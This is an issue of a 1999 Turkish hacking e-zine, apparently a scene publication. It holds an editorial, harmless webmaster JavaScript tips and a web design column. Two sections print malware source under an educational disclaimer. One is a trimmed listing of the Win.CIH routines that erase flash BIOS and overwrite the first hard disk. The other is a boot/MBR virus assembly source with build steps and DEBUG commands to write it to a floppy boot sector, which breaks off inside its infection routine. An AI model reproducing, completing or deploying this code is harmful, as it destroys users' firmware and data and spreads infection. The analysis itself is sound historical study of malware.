----- Turkish Scene Sayı - 6 - http://www.trscene.org ----

banner.gif (7583 bytes)

Turkish Scene V.06
23-05-1999

Bu Gazetenin yayın hakları:
1- Gazetenin herhangi bir bölümü kaynak gösterilmek şartıyla kullanılabilir.
2- HTML, DOC, TXT vs olarak her türlü ortamda serbestçe kullanılabilir, istenildiği kadar çoğaltılabilir.
3- Turkish Scene hiç bir suretle parayla satılamaz.
4- Sadece Turkish Scene'nin yazarları içerik üzerinde değiştirme yapma hakkına sahiptir.
5- Döküman üzerinde değişiklik yapıp yeniden yayınlanması yazarların yazılı izniyle mümkün olabilir.
6- Bu döküman kaynak gösterilmek şartıyla 3.parti dökümanlarda kullanılabilir.Alıntılarda Turkish Scene'nin hangi sayısından alındığı, yazarın adı, dökümanın orijinalinin nereden bulunacağı açık olarak belirtilmelidir.
7- Dökümanlarda var olabilecek her türlü hatadan, yazılanlar uygulandığında doğabilecek maddi/manevi zararlardan dolayı yazarlar, web author, hosting herhangi bir sorumluluk kabul etmez.
8- Verilen bütün bilgiler eğitim amaçlıdır.
9- Bu gazeteyi okuyanlar bu şartları aynen kabul etmiş sayılırlar.


Turkish Scene Sayı-6-İçeriği : (Turkish Scene Sayı-6- .zip paketi)

Editörden
Turkish Scene ekibinden tüm okurlarımıza selamlar;

            Az gittik uz gittik dere tepe düz gittik diye başlar ya masallar, masal misali biz de az gittik uz gittik, bir de bakrık ki, 6. ayımızı da ilgi ve desteğinizle devirmişiz.  6 ayları devirmeye devam edeceğiz, tabi ki bize destek olduğunuz, yapıcı eleştirilerde bulunduğunuz sürece.

            Siz bu gazeteyi okurken muhtemelen TTNet faaliyete geçmiş olacak, en büyük ümidimiz TTNet in Türkiye'deki internet sorununa çözüm üretmesi, Türkiye'de internetin daha da gelişmesi. TTNet çözüm olur mu olmaz mı şimdiden kestirmek zor ama bazı arkadaşlar TTNet i protesto için protestoya başladılar bile. Gelişmeleri takip etmek için http://daghan.com/to/telecom/index.html adresinden yararlanabilirsiniz. www.daghan.com/to/telecom/index.html

            Geçen ay içerisinde oldukça hareketli günler yaşadık,  26 Nisan günü yaşadığımız Çernobil faciası Türk Toplumu olarak ne kadar umursamaz ve “bana birşey olmaz” mantığında olduğumuzu gösterdi. Lütfen biraz daha dikkat, unutmayın ki her ayın 26’sında tehlike altında olabilirsiniz.

Linux İşletim Sisteminin popülerliğini gün geçtikçe nasıl artırdığını hayranlık ve takdirle izliyoruz. İşte Işık Universitesi Bilgi İşlem’inden hoş bir hizmet. Arkadaşlarımız her isteyen kişinin bilgisayarına Redhat, Slackware, SuSe linux kurup konfigure ediyorlar, eğer ki Linux’la tanışmak istiyor ve bir türlü kuramıyorsanız  Hakan Terzioğlu ‘yla irtibat kurup randevu almanızı önerebilirim.

Sitemizin ve gazetemizin tasarımında yaptığımız değişiklikler de dikkatinizi çekecektir hemen, artık sürekli kullanabileceğimiz bir logomuz da var. Umarım tasarım ve logomuz hoşunuza gitmiştir. Tasarım için |bosna| ve logo için Bilge Kaan Kazaz’a teşekkürler.

Geçen ay içerisinde üzerinde en çok çalıştığımız konulardan birisi ise sizlerle aramızdaki irtibat eksikliğini nasıl gidereceğimize yönelik çalışmalardı. En başta webboard’umuzu faaliyete soktuk, ancak server’imizin yavaş kalmasından dolayı biz pek keyif alamadık ve bir mail-list oluşturmaya karar verdik. Artık bir mail-list imiz var. Mail listimizin amacı sizlerle aramızdaki kopuklukları gidermek ve hoş bir bilgi paylaşım alanı sağlayabilmekti, bunu başaracağımıza inanıyorum. Mail-list’e üye olmak için trscene@gelecek.com.tr adresine bir mail atmanız gerekiyor, malin body’sinde "subscribe trscene <mailadresiniz>"  olmalı. Unutmayın ki bu listeye tüm yazarlarımız üye ve bilgi paylaşımı için sizleri bekliyorlar. Bir diğer çalışmamız ise IRC üzerine oldu ve bundan sonra belli zamanlarda irc.superonline.com #trscene odasında sizlerle konuşmaya karar verdik, odamıza hepinizi bekleriz.

Nedense bazı kişiler Turkish Scene'yi alıyorlar içeriğini hiç değiştirmeden yazılarını altlarına kendi isimlerini yazıp bu gazeteyi biz çıkartıyoruz diyebiliyorlar, geçen ay bu sitelerden 3 tane yakaladık. Tüm okurlarımızdan bilgiye ve emeğe saygı duymalarını öğütlerken gördüğünüz bu tür siteleri bize haber vermenizi istiyoruz.

Yeter mi?, yetmez, siz bu satırları okurken biz yeni sayımızı hazırlamaya başlamış olacağız bile.. Ne için, şöyle arkamıza yaslanıp çayımızı yudumlarken keyifle gazetemizi okuyup yeni birşeyler öğrenmek/öğretmek için..

Sizlere yeni birşeyler öğretebiliyorsak, “ayın 20’si gelse de gazetemizi hemen okusak” dedirttirebiliyorsak ne mutlu bizlere..

Turkish Scene Ekibi Adına:
                     Projman
           “Knowledge is Power”


WEBMASTER'LARA İPUÇLARI 1 [ Status Bar Kullanımı ]
 

Geçen ay bir hileyle banner click olayına girmiştik. Umarım birşeyler işinize yaramış ve birşeyler kazanmışsınızdır. Bu ay ise Status Bar'ımıza ilginç yazılar koyup hem etkileşimi arttıracağız, hem de sizin linkinizi status bardan okuyamayacaklar. Her ay burada anlatılan ipuçlarının uygulamasını BIGBEN Online (http://www.bigben.8m.com)'da görebilirsiniz.

SABiT STATUS BAR YAZISI :
Sayfanızda değişmeyen sabir bir Status yazısı için notepad'le açtığınız sayfanızın istediğiniz bir yerine aşağıdaki kodu ekleyin.

<script language="JavaScript"><!--

//Modified by Erdemgenc.8m.com

defaultStatus="AkyaziTeaM"
// --></script>

STATUS BAR ANİMASYONLARI :
Status Bar'da kullanılmak üzere iki tane JavaScript animasyonu hazırladım. Bunlardan ilki Status Bar'da kayarak geçen ve sürekli tekrarlanan bir animasyon. Bunu sayfanızda uygulamak için sayfanızı notepad'de açın. </HEAD> komutunu bulun ve hemen altına aşağıdaki komutu ekleyin.

<script language="JavaScript"><!--

//Modified by Erdemgenc.8m.com

 message     = "||||||||||||||| Bu yazıyı kafanıza göre değiştirin |||||||||||||||^" +
                "^"
  scrollSpeed = 25
  lineDelay   = 1500
  txt         = ""
  function scrollText(pos) {
    if (message.charAt(pos) != '^') {
      txt    = txt + message.charAt(pos)
      status = txt
      pauze  = scrollSpeed
    }
    else {
      pauze = lineDelay
      txt   = ""
      if (pos == message.length-1) pos = -1
    }
    pos++
    setTimeout("scrollText('"+pos+"')",pauze)
  }
scrollText(0) 
// --></script>

Yazıyı istediğiniz gibi değiştirebilirsiniz. " | " karakterleri animasyon görünümü vermek için kullanılmıştır. İsterseniz silebilirsiniz.

İkinci scriptimiz ise uzunca mesajları yazmak için. Sağdan sola doğru bir daktilo edasıyla yazımız kayıyor. Bunu da notepad'le açtığımız sayfamızın <HTML> kodunun hemen altına ekliyoruz.

<script language="JavaScript">

//Modified by Erdemgenc.8m.com

function infoscroll(seed,looped)
{
  var text1  = "Genc Voleybol On-line'in Download Sayfasi'ndasiniz. Bu sayfadan yerli, yabanci voleybol resimleri, beach voley resimleri ve voleybol oyunlari bulacaksiniz. Bu bolume gondermek istediginiz resim, oyun yada program varsa Webmaster sayfasindan lutfen bir e-mail gonderin...  http://members.xoom.com/voleybol ";
  var msg=text1;
  var putout = " ";
  var c   = 1;

  if (looped > 10)
  {  window.status="<Thanks !>";  }
  else if (seed > 100)
  {
     seed--;
     var cmd="infoscroll(" + seed + "," + looped + ")";
     timerTwo=window.setTimeout(cmd,100);
  }
  else if (seed <= 100 && seed > 0)
  {
    for (c=0 ; c < seed ; c++)
    {  putout+=" ";  }
    putout+=msg.substring(0,100-seed); 
    seed--;
    var cmd="infoscroll(" + seed + "," + looped + ")";
    window.status=putout;
    timerTwo=window.setTimeout(cmd,100);
  }
  else if (seed <= 0)
  {
    if (-seed < msg.length)
    {
      putout+=msg.substring(-seed,msg.length);
      seed--;
      var cmd="infoscroll(" + seed + "," + looped + ")";
      window.status=putout;
      timerTwo=window.setTimeout(cmd,100); // 100
    }
    else
    {
      window.status=" ";
      looped += 1;
      var cmd = "infoscroll(100," + looped + ")";
      timerTwo=window.setTimeout(cmd,75); // 75
    }
  }
}
// -->

<!--
infoscroll(100,1)
// --></script>



Buradaki yazıyı istediğiniz gibi değiştirebilir ve uzun uzun yazabilirsiniz. Bu animasyonu çok önceden hazırlamış olduğum Voleybol Online (http://members.xoom.com/voleybol)'da kullanmıştım.

Bu aylık bu kadar. Gelecek ay linklerinizi nasıl daha etkileşimli yapacağınız konusu üzerinde duracağım...

 

Hazırlayan : Blackexplotion
blackexplotion@trscene.org


WEBMASTER'LARA İPUÇLARI 2 [ Sağ Tıklamaya İzin Yok! ]
Ziyaretçileriniz sayfanıza sağ tıklayarak materyallerinizden faydalanmak isteyebilir. Tabii ki siz o kadar uğraş sonunda oluşturduğunuz sitenizin kopyalanmasını istemezsiniz. Biz de bu ay bu sağ tıklamaya izin yok olayına değineceğiz. Basit bir JavaScript'le bunu önleyeceğiz. Aşağıdaki kodu notepad'le açtığınız sayfanızın istediğiniz yenine kopyalayın.

<script language="JavaScript"><!--

//Modified by Erdemgenc.8m.com

function click() {
if (event.button==2) {
alert(' Buraya istediğiniz sağ tıklama yasak yazısını girin ')
}
}
document.onmousedown=click
// --></script>

Yazıyı istediğiniz gibi değiştirebilirsiniz. Örneğin:

<-- Sağ tıklamak yasak -->
!!! Sağ tıklamak yasak !!!
||| Sağ tıklamak yasak |||
<-| Sağ tıklamak yasak |->
(-_-) Sağ tıklamak yasak (-_-)
(o_o) Sağ tıklamak yasak (o_o)
(o_-) Sağ tıklamak yasak (-_o)

 

Hazırlayan : Blackexplotion
blackexplotion@trscene.org


 
Hepinize merhaba;

Uzun bir aradan sonra yine sizinle buradayız. Uzun diyorum çünkü geçen ay yetiştirmem gereken bu yazıyı yetiştiremedim. Böylece ekstradan 1 ay uzak kaldık. Sebebini ise çok kısa değineyim; Elektronik Ticaret ile ilgili bir panelimiz vardı ve araya bayram falan girdi sonuç 2 ölü 5 yaralı (espiriydi tabi) kimse istemez böyle bişey olmasını.

Okuduğunuz bu yazıyıda bir kaç gün önce klavyeme yani kaleme aldım…hehe
Yazarken geçen ayı telafi etmek amacıyla fulldublex bir çalışma hazırlayım diye düşündüm. Ama bir yandan sitenin tasarımı ile ilgilendiğim için fazla bişey beklemeyin derim. Bu ay aslına bakarsanız giriş yapmış olacağınız. İlk yazımda sanki giriş yapmış gibi olduk ama pek ben öyle saymıyorum. Aslına bakarsanız o yazıda tanışmış olduk.

Web design'e giriş : Eminim yazıyı okuyan herkes ufak tefek de olsa tasarım yapmıştır. Yapmayanlar ise hiç  üzülmesin webmaster olmak o kadar büyütülecek bişey değil. Tabi burda şöyle bir ayırım yapmamız gerekiyor. Güzel  tasarım yapan vardır, kötü tasarım yapan vardır. Aslında kötüden kastım tamamen tasarım hataları. Yoksa site çok basit olmuş bu kötü bir sayfadır diye nitelendirmiyorum.

Gelelim iyi bir tasarım yapmanın ilk kuralına :

İyi bir surfer olmak.
İyi bir surfer olmak.
İyi bir surfer olmak.

Ever, evet yanlış duymadınız..!!! (Pardons yanlış okumadınız...hehe) Yani en azından 3-4 ay siteleri gezmeniz ve yapılan tasarımları tanımanız gerekir. Bu kuralın hemen ardında programları tanımak geliyor. Tabi program hakimiyeti de çok önemlidir. Program derken notepad gibi programları kastetmedim. Bu arada kimse kusura bakmasın notepad ile tasarım yapmak hamallıktan başka bişey değildir. Bugün görsel nitelikte olan programlar "table"lar üzerinde yaptığı ince hesapları bildiğimiz notepad değil hiç bir notepad gibi program yapamaz. Bence artık tasarımda kullanacağınız programlar görsel olacak yani ne görüyorsanız onu alacağınız bir programı kastediyorum. Bu tür programalar çok gıcık olduğum bir kısaltma koyarlar. O ise WYSIWYG'dir. (Adamlar kısaltalım derken karmakarışık hale sokmuşlar öyle değil mi?)

WYSIWYG nedir? (Tam anlayamadım..!!) : Yukarıda bahsettigim gibi saçma sapan bir kelime. Yani açılımı şu şekilde oluyor (what you see is what you get). Anlayacağınız gibi baş harflerini almışlar. Bence kısaltmadan kullansalar daha iyi olurmuş. Türkçe manası "ne görmek istiyorsanız onu alırsınız" gibi bişey oluyor.) Eğer bu tür editörlerden hiç görmediğinizi düşünüyorsanız aslında yabancı olmadığınız bir olay. Hani word´de bişeyler yazarken yazdığınızı görüyorsunuz işte onu gibi bir olay. Bu tür editöler HTML kısmını göstermez browserda görmek isteyceğiniz şeyleri gösterir. Microsoft´un programı olan Frontpage bu programlara bir örnek.

Şimdi sizinle bir anlaşma yapalım… Bu ay iyi bir webmaster olabilmek için her zaman yaptığınız şeyi yapın. Surf….Evet siteleri inceleyin; İncelerken kaynak kodlarını, kullanılan grafiklerin boyutlarını ve tasarım "style"leri..… Ve bunu bir huy haline getirin. Bende tasarım yapmadan önce bir kaç site gezer ve öyle tasarıma başlarım. Çünkü o kadar güzel "style"lar varki bunları modellemek, saatlerce düşünüp "acaba bu siteyi nasıl tasarlasam" şeklinde düşünmekten çok iyidir. Bu olayı alışkanlık hale getirirseniz iyi bir tasarımcı olma yolundasınızdır. Fakat iyi bir grafiker, iyi bir modelleyici, iyi bir programcı olmak işin icrat kısmı olduğundan en çok geliştireceğiniz kısım bu konular olmalı. Bence bunları hepsinden sizde biraz vardır. Önemli olan daha yatkın olmadığınız kısımları geliştirmek. Burda modellemeden kastım kesinlikle kopyacılık değildir. Siteleri gezerek hoşunuza gidebilecekleri kendi bildikleriniz ile uygulamaktır.

Peki surf yaparken hangi browserı kullanacaksınız. Tabi ben buna karışamam hangisini kullanacağınızı siz karar vereceksiniz. Ben sadece bir kaç önemli noktanın altını vurgulayarak browser seçiminizde yardımcı olmak istiyorum. Şimdi piyasada 2 rakip browser var. Hepiniz bildiği gibi bunlar Netscape ve Internet Explorer. Bana seçim yapmam söylense IE'yi yani Internet Exploreri seçerim. Sebeblerinden birkaçı şöyle;

    - Başta hızlı açılması: Hızlı açılmasının sebebi ise kütüphanelerinin bir kısmı işletim sisteminin parçasını oluşudur.

    - Estetik olması: Şahsen ben Netscape ile gezdiğim sitelerde IE'ye göre kötü bir görüntü alıyorum. Bunun en bariz örneği; Form araçlarında göze çarpıyor. Button, textbox ve radio buttonlar hep görünümleri kaba olarak gelir. Radio buttonları ise yuvarlak oldukları için background ile kaynaşmaz ve çirkin bir görünür.

    - Her sayfayı görüntüleyebilmesi: İleride bahsedeceğim ve hiç kimsenin bahsetmediği tasarıma göre bazı uyumsuzlukları kendi bünyesinde fixleyebilmesi.

Yukarıda kısaca browserlara değindim. Aslında burdaki amacım biraz IE'ye yönlendirmek ve tasarım yaparken Netscape ile IE optimizasyonunu sağlamanın altını çizmekti. Bir bakıma konuya atlayabilmek için vasıta oldu. Aslında ileride daha çok bahsedeceğim bu optimizasyon çok önemli. Çünkü bazıları IE kullanırken bazıları Netscape kullanıyor. Tasarım eğer sade değilse bazı durumlarda browserlar arası çok bariz değişikliklere yol açabiliyor. Bunlar biraz tasarım hatalarına girebilir. Örneğin sitenizdeki bir table bomboş çıkabilir. Oysa diğer browser 'da herşey normaldir. Ya da yavaşlığa neden olan bir teknik uygulamışsınızdır. Bunlar pek sade tasarımlarda yaşanmaz. Bazı durumlarda ise oluşturduğunuz grafik netscape 'de problem yapabilir…..

Bu konuyu burada ara veriyorum. Diğer sayıda bu konu ve bir çok konuya daha etraflıca değineceğim. Henüz tasarıma başlamak için çok erken. Fakat o zamana kadar bazı hazırlıklar yapmanız gerekebilir. Bunların ilkini önceki bölüm değindik zaten. Tasarıma geçeceğimiz zaman tam belli değil ama bu 8. sayıda olabilir. Ve öyle tek tek "tag"lardan bahsetmeyeceğiz. Her yerde değinilmeye şeyler olmalı.
Programlar ile devam ediyoruz. Geldik kullanmanız gereken web tasarımı programına. Şimdi burada tek tek tasarım programlarını saymak, hangisinin daha üstün olduğuna değinmek istemiyorum. Ama kullanımı rahat olan iyi bir görsel program ile başlamamız gerekir. Mesela benim şu an kullandığım programı önerebilirim. Bu progmın ismi Netobjects Fusion 4.0. Bu programa şimdiden sahip olursak ve biraz incelersek ileride yapacağımız tasarımlarda kolaylık olur. Ancak istemeyenler yine arzu ettikleri programı kullanabilirler. Bu program daha önce bahsettiğim görsel HTML editörlerinin en iyisi diyebilirim. Programı bir süre kullandıktan sonra anlayacaksınız haklı olduğumu. Programın temini ve bilgi için aşağıdaki adresleri kullanın. Programı form doldurmadan indirmek istiyorsanız ftp adresini kullanın derim.

FTP  --> ftp.netobject.com
Web --> www.netobjects.com

Yazıyı burada bitiriyorum, daha söyleyecek çok şey var fakat vakit yok..!! Sanırım bir daha ki ay daha çok vaktim olacak. Sizde gerekli hazılıkları yaparsanız daha güzel olacağına inanıyorum.

Hepinize başarılar;

 

Hazırlayan : BOSNA
bosna@trscene.org

 

 

 

 

Win.CIH : FlashBIOS'u ve hard diski nasıl uçuruyor ?

UYARI: Bu yazı tamamen eğitim amaçlı olarak hazırlanmıştır. Burada verilen kodların kullanımından dolayı meydana gelebilecek herhangi bir zarardan dolayı Turkish Scene e-zine yazarları sorumlu değildir.

Geçen aylarda Win.Cih virüsü ile ilgili bilgi vermiştim. Merak edenler için virüsün kaynak kodunun ufak bir incelemesini yapalım.

Not: Virüsün kaynak kodunun bazı bölümlerini bilerek değiştirilmesi sonucu yeni bir cih faciasına sebep olmamak için bilerek kırptım. Zaten aşağıdaki kod parçası cih kodunun çok küçük bir bölümü.Açıkçası buradaki kodu bazı endişelerimin olması sebebiyle doğru düzgün açıklamadım, yeterli assembly bilgisine sahip olan arkadaşlar zaten baktıklarında neyin ne olduğunu anlayacaklardır.
Bu yüzden boşuna buradaki kod parçalarını derlemeye çalışmayın, bir sürü hata mesajı alırsınız.

Virüs bir dosyaya bulaştıktan sonra dosyayı kapatırken şu işlemleri yapıyor;

....
....
CloseFile:
xor eax, eax
mov ah, 0d7h
call edi

Burada Call eDi ile çağırılan 'VXDCall IFSMgr_Ring0_FileIO' . Buradaki koddan daha yukarı bir kısımda virüs eğer dosya tarih/saat bilgisinin düzenlenmesi gerekiyorsa carry flagi set ediyor.

popf
pop esi
jnc IsKillComputer

CIH virüsünün bu kısımdan sonra, IsKillComputer: etiketine kadar olan kısmı dosya tarihinin düzenlenmesi ve kontrolün orjinal programa devredilmesini sağlamakta.Tabi bu arada yine bir kısım kodu kırptım.

IsKillComputer:

CMOS'tan sistem tarihinin hangi ayı gösterdiği öğreniliyor

mov ax, 0708h
out 70h, al
in al, 71h
xchg ah, al

ve CMOS'tan sistem tarihinin hangi günü gösterdiğine bakılıyor

out 70h, al
in al, 71h

xor ax, 0426h
jne DisableOnBusy

eğer sistem tarihi 26/4/???? ise virüsün malum flashbios hareketini yapma vakti gelmiş demektir.

mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; ***********************

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************

mov di, 0058h
dec edx ; and al,0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************

lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; ***********************

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; ***********************

mov ah, 0e0h
mov [eax], al

; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi

virüs FlashBIOS'u gömçürdükten sonra hard diske de saldırıyor.Aşağıda görüldüğü gibi hedef disk birinci hard disk.

KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach

LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand

cmp word ptr [esi+06h], 0017h
je KillNextDataSection

ChangeNextHardDisk:
inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk

KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

; ***************************
; * IO for EEPROM *
; ***************************

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

LastVxDCallAddress = IFSMgr_Ring0_FileIO
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize = ($-VxDCallIDTable)/04h

VirusVersionCopyright db 'CIH v'
db MajorVirusVersion+'0'
db '.'
db MinorVirusVersion+'0'
db ' TTIT'

VirusSize = $

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd ?

FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?
TimeDateStamp dd ?
SymbolsPointer dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
_Characteristics dw ?
Magic dw ?
LinkerVersion dw ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
@9 = $
SectionAlignment dd ?
FileAlignment dd ?
OperatingSystemVersion dd ?
ImageVersion dd ?
SubsystemVersion dd ?
Reserved dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
SizeOfImageHeaderToRead = $-NumberOfSections

NewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04h

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable+08h ; DWORD
VirtualAddress = StartOfSectionTable+0ch ; DWORD
SizeOfRawData = StartOfSectionTable+10h ; DWORD
PointerToRawData = StartOfSectionTable+14h ; DWORD
PointerToRelocations = StartOfSectionTable+18h ; DWORD
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD
NumberOfRelocations = StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD
Characteristics = StartOfSectionTable+24h ; DWORD
SizeOfScetionTable = Characteristics+04h-SectionName
VirusNeedBaseMemory = $
VirusTotalNeedMemory = @9
VirusGame ENDS

END FileHeader

Hazırlayan : DarkApocalypse
e-mail : darkapocalypse@trscene.org


Virüsler: Boot/MBR Virüsleri
ÖNCE BİR DÜZELTME: Geçen ayki virüs yazımda (Nisan'99 sayısı), dalgınlık sonucu bilgisayar açılırken setup programının FFFF:0000 adresine kopyalandığını yazmışım. Bu adresin doğrusu F000:0000 'dır.

Boot/MBR virüsleri konusunda inceleyecebileceğimiz bir virüs kodunu sıfırdan kodlamaya başlamak zor geldi. Ben de bu ayki yazıma 2 boot/mbr virüsü kodu ekledim.Bunlardan ilki yıllar önce çıkan Programlama Sanatı disketlerindeki Recep Tezkol'un virüsleri anlattığı bir asm kodu.

NOTLAR:

1- Bende PS disketleri yok, bazı PS disketleri bana yıllar önce daha ilk assembly ile uğraşmaya başladığımda bir arkadaş tarafından ulaştırılmıştı. O zamanlar, kod üzerindeki bazı kısımları çıkarmış veya bazı değişiklikler yapmış olabilirim.

2- Kodu derlemek için;
TASM BOOTVIR
TLINK /T BOOTVIR

Sürücüye virüsü yerleştirmek istediğiniz boş bir disket takın ve;

DEBUG BOOTVIR.COM
-w 100 0 0 1
-q
komutlarını kullanın.Bu işlemlerden sonra derlenen virüsü disketin boot sektörüne yazmış oluyorsunuz

;BOOTVIR.ASM
.Model Tiny
.Code
Org 100h
Taban label word
Main Proc Near
Jmp Short Basla
Db 90h
Db 59 dup(?)
;disk parametre bloğu için ayrılmıştır.

Basla:
xor ax,ax
mov ds,ax
cli
mov ss,ax
dec ax
mov sp,ax
sti

Şimdi yukarıdaki kısımda neler oluyor bundan bahsedeyim. Boot sektör ilk okunduğu anda geçen ay bahsettiğim gibi SS:SP değeri belirsizdir.Bu yüzden de SS:SP tanımlamak gerekir. Burada dikkat etmek gereken bir nokta var. SS:SP tanımlanırken Interrupt işareti kapatılmalıdır. Hatırlayın, INT komutu çalışmadan önce stack alanını kullanmaktadır.

mov ax,ds:[413h]
dec ax
mov ds:[413h],ax
mov cl,6
shl ax,cl
mov es,ax

Bir boot/mbr virüsü TSR olabilmek için kendine bellekten yer ayırmalıdır. Toplam 640K altı bellek miktarı BPB'nin 413h ofsetinden faydalanılarak öğrenilebilir, değiştirilebilir.Buradaki sayı Kb cinsinden bulunmaktadır.Bu sayıyı ihtiyaç duyulan miktar kadar azaltarak virüs için gerekli miktarda hafıza ayırılabilir. Aynı zamanda buradaki sayı 64 ile çarpılarak paragrafa dönüştürülebilir.Sonuçta elde edilen sayı, ayırılan kısmın segmentine eşit olur.

mov word ptr ds:[7c00h+AtlaSeg],ax
xchg ax,word ptr ds:[13h*4+2]
mov word ptr ds:[7c00h+Kesme+2],ax
mov ax,Int13Bas
xchg ax,word ptr ds:[13h*4]
mov word ptr ds:[7c00h+Kesme],ax
mov cx,512
mov si,7c00h
xor di,di
cld
rep movsb
db 0eah
dw SegDegis
AtlaSeg equ ($-Taban)
dw ?

Yukarıdaki kod Boot/mbr virüslerinin kodlarındaki en ilginç kısımlardan biridir bence. Burada virüs, önce ayırdığı alanda, Int 13h handlerının başlangıç konumunu buluyor ve yeni Int 13h handlerı kuruyor. Ardından 0000:7C00 adresindeki kodunu ayırdığı alana taşıyarak çalışmasına bu ayırdığı alandan devam ediyor.En altta dikkat ettiyseniz DB 0EAh/DW SegDegis/AtlaSeg equ ($-Taban)/Dw ? komutları var.Bu komut CS değerini virüsün ayırdığı segmente eşitlemekten başka bir iş yapmaz. 8088 işlemcilerde bu işi ;

Mov Ax,Word Ptr Ds:[7C00h+Atlaseg]
Push Ax
POP CS

komutlarıyla kolayca halledebilirdik.Ancak POP CS komutu (0F) 8088 sonrası işlemcilerde olmayan bir komuttur.Bu yüzden bu komutun kullanılması virüsün 8088 sonrası işlemcilerde çalışmamasına sebep olacaktır.

SegDegis equ ($-Taban)
push ds
pop es
mov ax,0201h
mov bx,7c00h
mov cx,0005h
cmp dl,80h
jnz floppy
mov dh,00h
pushf
call dword ptr cs:[Kesme]
jmp Cikis
floppy:
mov dh,01h
pushf
call dword ptr cs:[Kesme]
jb Cikis
mov dl,80h
call Bulastir

Bu kısımda virüsün daha önceden sakladığı orjinal boot sektör yükleniyor.Virüs orjinal boot sektörü disketlerde track:0, kafa:1 sektör:5 alanında, hard diskte ise track:0, kafa:0 sektör:5 bölgesinde saklıyor.Böylece orjinal bootu yükleyip, daha sonra yani virüs hard diske bulaştıktan sonra işletim sisteminin başlatılmasını sağlıyor.

Cikis:
xor ax,ax
mov bx,ax
mov cx,ax
mov dx,ax
mov ds,ax
mov es,ax
cli
mov ss,ax
mov sp,0400h
sti
db 0eah ;JMP 0000:7C00h
dw 7c00h
dw 0000h

Virüsün işi tamamen bittiğinde virüs tüm yazmaçları sıfırlıyor, SS:SP yi 0000:0400h olarak ayarlayıp kontrolü 0000:7C00h adresindeki daha önce virüsün okuduğu orjinal boot kaydına yönlendiriyor. Bu da işletim sisteminin yüklenmesi anlamına geliyor.

Int13Bas equ ($-Taban)
push ds
push ax
or ah,ah
jnz CikInt13
or dl,dl
jnz CikInt13
call Bulastir
CikInt13:
pop ax ds
jmp dword ptr cs:[Kesme]

Yukarıda, virüsün Int13h handlerını görüyorsunuz.DS ve AX yazmaçları stacke sürülüp, çağırılan fonksiyonun Ah=0 yani 'sürücü resetle' işlemi olup olmadığına bakılıyor.Eğer farklı bir fonksiyon çağırılmışsa virüs kontrolü orjinal Int 13h e devrediyor. Ah=0 yani sürücü resetlenecek ise bu kez de resetlenen sürücünün 1.ci hard disk olup olmadığını kontrol ediyor. Yani virüsün bulaşması için 1.ci hard diskin resetlenmesi gerekli.

Bulastir:
push bx cx dx di si es
mov si,2
Tekrar:
mov cx,1
mov bx,200h
mov ax,0201h
push cs
pop es
xor dh,dh
pushf
call dword ptr cs:[Kesme]
jnb Okundu
xor ax,ax
pushf
call dword ptr cs:[Kesme]
dec si
jnz Tekrar
stc
jmp CikBulasmadan

